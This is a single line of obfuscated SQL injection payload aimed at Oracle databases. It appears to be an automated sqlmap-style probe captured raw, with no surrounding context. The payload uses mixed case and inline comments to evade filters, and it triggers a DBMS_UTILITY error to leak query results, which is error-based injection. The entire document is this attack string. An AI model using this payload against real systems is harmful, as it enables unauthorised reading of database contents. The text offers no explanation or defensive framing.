1’||(SELECT ‘OvBnObEf’ FROM DUAL WHERE 4911=4911aNd/**/9557=DBMS_utILiTy.sqLiD_TO_SQLhasH(cHr(126)||~||(sELECt/**/(CAse/**/WhEn/**/(9557=9557)/**/tHEn/**/1/**/elsE/**/0/**/EnD)/**/frOM/**/DuAL)||~||CHr(126)))||’ 1